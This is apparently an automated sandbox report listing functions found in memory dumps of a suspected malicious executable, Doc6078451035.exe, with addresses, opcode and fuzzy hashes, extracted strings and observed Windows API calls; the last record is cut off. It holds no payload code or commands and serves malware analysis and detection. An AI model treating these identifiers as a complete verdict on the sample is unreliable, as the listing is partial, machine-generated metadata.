Function 006F08F1 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6911b0480dd9ec2d5d31387b4d0b387f300c976f3a039ca57d7f3cdb4fed0fe6
Instruction ID: 140b4f50201c14d828fb40418495dd4dc4d81b622930cdc168501bbd8386da79
Opcode Fuzzy Hash: 6911b0480dd9ec2d5d31387b4d0b387f300c976f3a039ca57d7f3cdb4fed0fe6
Instruction Fuzzy Hash: E6D05B6014F7C55FE38603742C283A47F725B03305F0425CAE45F43163D6D54598C711

Function 006F08C1 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc59dfcf368d734751ed5433aadef208136863d19334a91e27feeea9510434d
Instruction ID: dc2f4970c3ee93855762c328eafc5933866afa8a1b2c8398c6d3ff3bb71cb428
Opcode Fuzzy Hash: 7dc59dfcf368d734751ed5433aadef208136863d19334a91e27feeea9510434d
Instruction Fuzzy Hash: AAD05E3010E7C05EC70B03742C343947F21AB43606B0952DAE49D428A3C7504069C752

Function 006F3A24 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e686ed69206ea29c333d332d9b0f5e1632896bac2d217a2fb20793522dd9e450
Instruction ID: 6fbc430f7c0efa9239b60e08580d618e5664f76dd0ad7cccfb3ed9d7ea441d92
Opcode Fuzzy Hash: e686ed69206ea29c333d332d9b0f5e1632896bac2d217a2fb20793522dd9e450
Instruction Fuzzy Hash: 07E0BD74A1022C8FCB25DF20C881BA9B7B6BB48300F50A1D9E91EA3B10DB701F81DF54

Function 06BFCA08 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a25886fa969199365c3630614a4636896ccf587b607a87b1a3b1a47c55c484cd
Instruction ID: fa57d811335580dfeb459cdc82e62657c737548cbe40ae901ab3abb0e105850a
Opcode Fuzzy Hash: a25886fa969199365c3630614a4636896ccf587b607a87b1a3b1a47c55c484cd
Instruction Fuzzy Hash: 46C08CB00AB20C8AE394A3E4640C3723ADC930A209F043850620C220349F682488CA54

Function 052E03E0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1e0d62cc8f90b55648b07125a9c68ca1b02f71f94333198c594945e64b9850
Instruction ID: 085cbc2dff4f05e17a9f576cfe995693f5423b48dcb9ac2f3c30a2fbc2f08890
Opcode Fuzzy Hash: be1e0d62cc8f90b55648b07125a9c68ca1b02f71f94333198c594945e64b9850
Instruction Fuzzy Hash: 24D0C97494412C8BDB24DFA4D898B99B6F2BB08300F1081D98458A7306D7700F859FA4

Function 006F08D0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1964961131.00000000006F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353fd286c94991610e6a2f793501251a553e2813c175a193a2f598cc7e3eeb0b
Instruction ID: 847f8f56ed4aa7b29b16c4cad84aaa367342992a54c8ff4a1355c79a936ae3d0
Opcode Fuzzy Hash: 353fd286c94991610e6a2f793501251a553e2813c175a193a2f598cc7e3eeb0b
Instruction Fuzzy Hash: FCB09230042B0986DB1867D9BE0C7B87AAE6741317F802290F62D015A38FE095E4DAE6

Non-executed Functions

Function 052E34E2 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

0!x, xrefs: 052E35CC, 052E3705

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x
API String ID: 0-158060655
Opcode ID: cb028fc5864cbd670ff565159bd864cc3ba4caa021111124b90025db33ccc205
Instruction ID: 3f13ed9d5e3d34551e737e2765f9a1877335b88f34774f1d6b1c3be86a4f97c5
Opcode Fuzzy Hash: cb028fc5864cbd670ff565159bd864cc3ba4caa021111124b90025db33ccc205
Instruction Fuzzy Hash: F58178B4D20208CFCB54DFA5D884BADBBF6BF49302F508529E01AA7354DB74A94ACF00

Function 052E34F0 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

0!x, xrefs: 052E35CC, 052E3705

Memory Dump Source

Source File: 00000000.00000002.1972759573.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52e0000_Doc6078451035.jbxd

Similarity

API ID:
String ID: 0!x
API String ID: 0-158060655
Opcode ID: 79e35dbf3941dc2b83f0a62ed397f0c3595eadfd4bc14729d442ec8d40b697c4
Instruction ID: 15ebf6afdbd221c13cb0b2eceeebd147c71c14e1d016c9439591f48a5d50f307
Opcode Fuzzy Hash: 79e35dbf3941dc2b83f0a62ed397f0c3595eadfd4bc14729d442ec8d40b697c4
Instruction Fuzzy Hash: DA8179B4D20208CFCB54DFA5D884BADBBF6BF49302F509529E41AA7354DB74A946CF00

Function 06BFC6B0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73bdafe209fde61888fbc19a6b811e7d2f8c00b47fce6523bb4fb8e3981b87e0
Instruction ID: 6f5056360b4bb7f5ea5b7cda3815790cc25ab713c29905428cf83a92fc6252d8
Opcode Fuzzy Hash: 73bdafe209fde61888fbc19a6b811e7d2f8c00b47fce6523bb4fb8e3981b87e0
Instruction Fuzzy Hash: 9E71F9B0D2521CCFEB94DFA9C8447AEBBF1AF49304F1090A9D109AB261DB7459C9CF41

Function 06BFCA38 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e1cb810c1c8c4666f5c810db9d3c237c6da51d1f6b33efa871c788f98dfb6e7
Instruction ID: 053fe19704d8d0d5a34b04fcaa792faef4f4db9c0eb7f0ca5d0c492ce3879732
Opcode Fuzzy Hash: 2e1cb810c1c8c4666f5c810db9d3c237c6da51d1f6b33efa871c788f98dfb6e7
Instruction Fuzzy Hash: 4F314F74A11218CFDB94DF78D895BAA7BF5BF49300F4080EAD50AA7264DF34A984CF01

Function 06BE0040 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c01a8ad83e7202130d07f3a0621ba55e39998008ec4adfdbbe29f8e39865e8
Instruction ID: 44622397989f4b90f78e3a1355522e70f6d73bc310fda21ef9bb85434930b7eb
Opcode Fuzzy Hash: 79c01a8ad83e7202130d07f3a0621ba55e39998008ec4adfdbbe29f8e39865e8
Instruction Fuzzy Hash: B021C9B1D056299BEB68DF5B8C44799F6F7ABC8300F04C1FA940CA6224DB740A958F51

Function 06BE0033 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1977377578.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85662c9274d5340d155ef7abd25fca646b4521b9135a5165542b4ffe2809ecb9
Instruction ID: 133861402ccad0bbe1956480378a49adc8d8d965ba543df46e88930ba224f2cf
Opcode Fuzzy Hash: 85662c9274d5340d155ef7abd25fca646b4521b9135a5165542b4ffe2809ecb9
Instruction Fuzzy Hash: 6D21CDB1D056259BE768DF5BCC44799F6F7AFC8300F04C5FA940DA6214DB740A858F51

Analysis Process: Doc6078451035.exePID: 6020, Parent PID: 6828COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	183
Total number of Limit Nodes:	19

Executed Functions

Function 06D73100 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D7380B
$^q, xrefs: 06D73834
$^q, xrefs: 06D7384C
$^q, xrefs: 06D73828
$^q, xrefs: 06D737FF
$^q, xrefs: 06D73858

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 55042e6e50cef8b382719f65b193df2f965a3e3f031db6e9f2881ef9ca5460d5
Instruction ID: b92d97638e88b0fca4a328301e4bba8e75ae145abd676176adb4d840d35f00c7
Opcode Fuzzy Hash: 55042e6e50cef8b382719f65b193df2f965a3e3f031db6e9f2881ef9ca5460d5
Instruction Fuzzy Hash: E5324D31E1071ADFCB14DF79D89459DB7B2FF89300F11C6AAD409AB264EB30A985CB81

Function 06D7B2B0 Relevance: .6, Instructions: 565COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72dcbfb769238901d4a67a83425e8a11fd0945dc3a37a4492050a10d0d74c0cd
Instruction ID: 7a688db1ace4c544ae8031490652c3706d213dfee9ebcffce8f455eeabc091e3
Opcode Fuzzy Hash: 72dcbfb769238901d4a67a83425e8a11fd0945dc3a37a4492050a10d0d74c0cd
Instruction Fuzzy Hash: 61226F30E002099FDF64CF68D594BADB7B2EB49314F208926E455EB391EB35DC85CB52

Function 06D791C0 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D7926B
$^q, xrefs: 06D79277
$^q, xrefs: 06D7923C
$^q, xrefs: 06D79230

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: fb175c34bd09aab4ae070297bac51fa86605c4e6d3199116d91d2398e30c76ff
Instruction ID: 96bc3b32685bbf2c66fa1757dc3113546a37203bb61c64a17129cb443d8295c3
Opcode Fuzzy Hash: fb175c34bd09aab4ae070297bac51fa86605c4e6d3199116d91d2398e30c76ff
Instruction Fuzzy Hash: 10916431F0021A9FDB64DB69D9507AEB3F6EFC9204F108469C40DEB344EA71EC468B96

Function 06D7CFB8 Relevance: 4.6, Strings: 3, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D7D3B7
$^q, xrefs: 06D7D3C3
$^q, xrefs: 06D7D3AF

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 6b0f3f5e5f77bf7f535aa067790d9e9cfa1a1a7c1c69867676859ee35d37f212
Instruction ID: ebc881ec8896eb453e32f0b200806e61e8ff851abf0bf12deb5009d072e8538d
Opcode Fuzzy Hash: 6b0f3f5e5f77bf7f535aa067790d9e9cfa1a1a7c1c69867676859ee35d37f212
Instruction Fuzzy Hash: 94626F30A102099FCB55DF69D984A5DBBB3FF84704F208A69D0099F354EB75ED8ACB81

Function 06D74C10 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ocq, xrefs: 06D74DEB
fcq, xrefs: 06D74C3B
XPcq, xrefs: 06D74D61

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: d624d9b6614ae6ba0179c0c95f0e1600c1462e6ded8f0632877521a6dc891614
Instruction ID: 934ec9a2986b552b4939695bed2050147de77cb419362ad753d256435fe9afe5
Opcode Fuzzy Hash: d624d9b6614ae6ba0179c0c95f0e1600c1462e6ded8f0632877521a6dc891614
Instruction Fuzzy Hash: 4F616E30F002189FEB559FA9C8547AEBAF6FF88710F20842AD109AB394DF758C458F52

Function 06D780E8 Relevance: 2.7, Strings: 2, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D7838B
$^q, xrefs: 06D78397

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: fdeb7a81155b478c2e3e40b60d4de84e00bbb24e934a3981a717011f2c93f007
Instruction ID: ab499f778941976dedda6e561fee01aa33c5e0892109058766e164884db109a2
Opcode Fuzzy Hash: fdeb7a81155b478c2e3e40b60d4de84e00bbb24e934a3981a717011f2c93f007
Instruction Fuzzy Hash: B291BD31B002059FDB54CF79D99866EB7A2EF84304F148479D806EB394EB75EC868B82

Function 06D791B3 Relevance: 2.7, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06D7926B
$^q, xrefs: 06D79230

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: c335fe60d2afdce92ba2dd3657121472a76a6d6082913221fec07271d642d083
Instruction ID: ed09caee76f6505265223e259299f01b9514737d27b9ca550a1f16d1a899134c
Opcode Fuzzy Hash: c335fe60d2afdce92ba2dd3657121472a76a6d6082913221fec07271d642d083
Instruction Fuzzy Hash: EA517631B00105AFDB64DB78D960B6EB3F6EBC8644F108469D40DEB385EA31EC428B96

Function 06D74C00 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06D74C3B
XPcq, xrefs: 06D74D61

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: b53d87e2a66db090f17b1e17b4e5f0b8eebd74d0a6e01b5e55ba6328fc5139e3
Instruction ID: e4318d35257d2acc5a9c596d0ada9824a2de072b01d6c4ca0e3bca45770d48f8
Opcode Fuzzy Hash: b53d87e2a66db090f17b1e17b4e5f0b8eebd74d0a6e01b5e55ba6328fc5139e3
Instruction Fuzzy Hash: 50518170F002089FDB559FA9C8547AEBAF6FF88700F208529D149AB394DF758C058F91

Function 06D6B328 Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c0900e478bfd7ec2dc61e95e7d9a1042339881d89e6e30d0955ef0bac17774cf
Instruction ID: cd74c391582a4a10c23a2c0dd3b0583adcbdafe812c46f3767fcf2cb0da1972e
Opcode Fuzzy Hash: c0900e478bfd7ec2dc61e95e7d9a1042339881d89e6e30d0955ef0bac17774cf
Instruction Fuzzy Hash: A8813570A00B058FD7A4DF2AD44476ABBF1FF88304F048A2EE48AD7A50D775E855CBA0

Function 0304EB08 Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2871095540.0000000003040000.00000040.00000800.00020000.00000000.sdmp, Offset: 03040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3040000_Doc6078451035.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92aaf102ffae7a53a945f488dae2e5187a2caeb46c8d83e1f94ae60d66851c93
Instruction ID: 1eff4312a23380d0b1f0af70161c00df177a5f95332170c3af68f604f137af06
Opcode Fuzzy Hash: 92aaf102ffae7a53a945f488dae2e5187a2caeb46c8d83e1f94ae60d66851c93
Instruction Fuzzy Hash: AA4135B1E053999FCB10DFB9D80469EBFF1AF8A210F1985ABD448A7241DB789940CBD1

Function 06D6D504 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D6D622

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1c88383f9133f4eebbe99952df39ca8a5b0d9050eef7f516f0d3b66f92c1cb07
Instruction ID: d53337dc8f5d92a8aa9722c2c07d98c21f1c48ada90d7c66dad00d93ff3dfb15
Opcode Fuzzy Hash: 1c88383f9133f4eebbe99952df39ca8a5b0d9050eef7f516f0d3b66f92c1cb07
Instruction Fuzzy Hash: AB51C1B1D003499FDB14CF9AD984ADEBFB6FF48310F24852AE419AB210D7759885CF91

Function 06D6D510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D6D622

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: acb318e54257fd8ccf77b710e9aa89527ee75bc9a84005e3e98f1e45d4289134
Instruction ID: 502bc1c151cf729b8a7de714e691cb12cd73dfb8036bd65aabf78e20e9ed270a
Opcode Fuzzy Hash: acb318e54257fd8ccf77b710e9aa89527ee75bc9a84005e3e98f1e45d4289134
Instruction Fuzzy Hash: ED41B0B1D003499FDB14CF9AD984ADEBFB6FF48314F24852AE818AB210D7759885CF91

Function 06D6E49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06D6FD11

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 081a7aa1016ac0b1183d9d3db7ab6bead397b6eebb4ea2d4e0f9b1e6755eadcb
Instruction ID: 341c0f52cde8782a264180f3856fc0a7c04d9ff19a693b4fc0f3a68dd235c2ba
Opcode Fuzzy Hash: 081a7aa1016ac0b1183d9d3db7ab6bead397b6eebb4ea2d4e0f9b1e6755eadcb
Instruction Fuzzy Hash: EB413AB4900705CFDB54DF5AC488AAABBF6FB88314F24C459E519AB321D774A841CFA4

Function 06D63048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06D630D7

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 36120e55a98d388785951ad401748ca773f8190343100563b7550f94b4021bca
Instruction ID: efc1744fe49104c44dba1f36e6522f2ad773bf140ad3dcfa74ed0432d718b9a0
Opcode Fuzzy Hash: 36120e55a98d388785951ad401748ca773f8190343100563b7550f94b4021bca
Instruction Fuzzy Hash: 6021E4B5D00218DFDB10CF9AD984AEEBFF5EB48310F14841AE918A7350D375A944CFA5

Function 06D63050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06D630D7

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 400db9fb11706fed10ba2d95226168e6da64ab21fd4051ce38e8e1d108f0b952
Instruction ID: 0495cba144bace7c34136ab535bb48b73852da092ca74550e8d8e98bf6eb9be7
Opcode Fuzzy Hash: 400db9fb11706fed10ba2d95226168e6da64ab21fd4051ce38e8e1d108f0b952
Instruction Fuzzy Hash: 9C21C4B59002589FDB10CF9AD984ADEFFF4EB48310F14841AE958A7350D375A944CFA5

Function 06D6B77B Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 06D6B7EA

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 73afcf8bc2c5a75b9b8e5260f1863001af24ead02ce4da9d73b2b3dbd95b2d60
Instruction ID: f114825dc85282e8ce973f19f921ac8c1555fa1dae82a6d1753fda7965d7ba49
Opcode Fuzzy Hash: 73afcf8bc2c5a75b9b8e5260f1863001af24ead02ce4da9d73b2b3dbd95b2d60
Instruction Fuzzy Hash: DE11E4B6D003099FDB10CF9AD844ADEFBF4EB48310F10842AE459A7210C375A545CFA5

Function 0304EBF0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0304EC57

Memory Dump Source

Source File: 00000004.00000002.2871095540.0000000003040000.00000040.00000800.00020000.00000000.sdmp, Offset: 03040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3040000_Doc6078451035.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: f02d4aa85f6a737d4011d641e71ca7cb591977070fad69f7f61e326a8bbba28b
Instruction ID: 84bd978749f22033efa5b807ebc12dc2e38a13ef15edcd406e1ea2ce511c90ff
Opcode Fuzzy Hash: f02d4aa85f6a737d4011d641e71ca7cb591977070fad69f7f61e326a8bbba28b
Instruction Fuzzy Hash: 7511F3B1C006699BCB10DF9AC544BDEFBF4BF48320F15816AD828B7250D378A944CFA5

Function 06D6B780 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 06D6B7EA

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 23b33bbb57c0a81f542ee1ab8bed38f86534b72cafb9137cab5edfdf948acd11
Instruction ID: 37d5c493416a9f33c7a0a7776e82b9bab00774e928d0b5cc908db7b9f238d165
Opcode Fuzzy Hash: 23b33bbb57c0a81f542ee1ab8bed38f86534b72cafb9137cab5edfdf948acd11
Instruction Fuzzy Hash: 1511F3B6D003099FDB10CF9AD844ADEFBF8EF48310F10842AE459A7210C375A545CFA5

Function 06D6A28C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,06D6B344), ref: 06D6B57E

Memory Dump Source

Source File: 00000004.00000002.2904206855.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d60000_Doc6078451035.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 96f0e3edaad94753d49a581e9966409095b43a40be98be618e1c4da686df4037
Instruction ID: 3a387695809b357b7d2ed4dfcd76377007cbf11b4c60d1987b984af8da9ce1e9
Opcode Fuzzy Hash: 96f0e3edaad94753d49a581e9966409095b43a40be98be618e1c4da686df4037
Instruction Fuzzy Hash: 171113B5D007498FDB20DF9AC444AEEFBF4EB48314F14842AE469B7210D379A545CFA5

Function 06D7DB40 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7DC89

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 830d9f7ed8f2fe06c70d140e3aa3ceae9c08699dcb7753c669badfed0a786b99
Instruction ID: 75768ec887fd6599776876d104961218e45a55e98b149d9c4a7c3fca6bdd2d6b
Opcode Fuzzy Hash: 830d9f7ed8f2fe06c70d140e3aa3ceae9c08699dcb7753c669badfed0a786b99
Instruction Fuzzy Hash: A3418270E003099FDB55DF65C8546AEBBB3FF89740F20492AD405E7240EB75E945CB92

Function 06D7DB2D Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7DC89

Memory Dump Source

Source File: 00000004.00000002.2904402518.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6d70000_Doc6078451035.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: fb4ceacea9e2d883fa66aff8c8696c067a8e60814119defc3bcb65e3214ea593
Instruction ID: 0dbc1919eaff3795cc1f3c614cda5b77507b9766d3684d35fa33c4d00803b057
Opcode Fuzzy Hash: fb4ceacea9e2d883fa66aff8c8696c067a8e60814119defc3bcb65e3214ea593
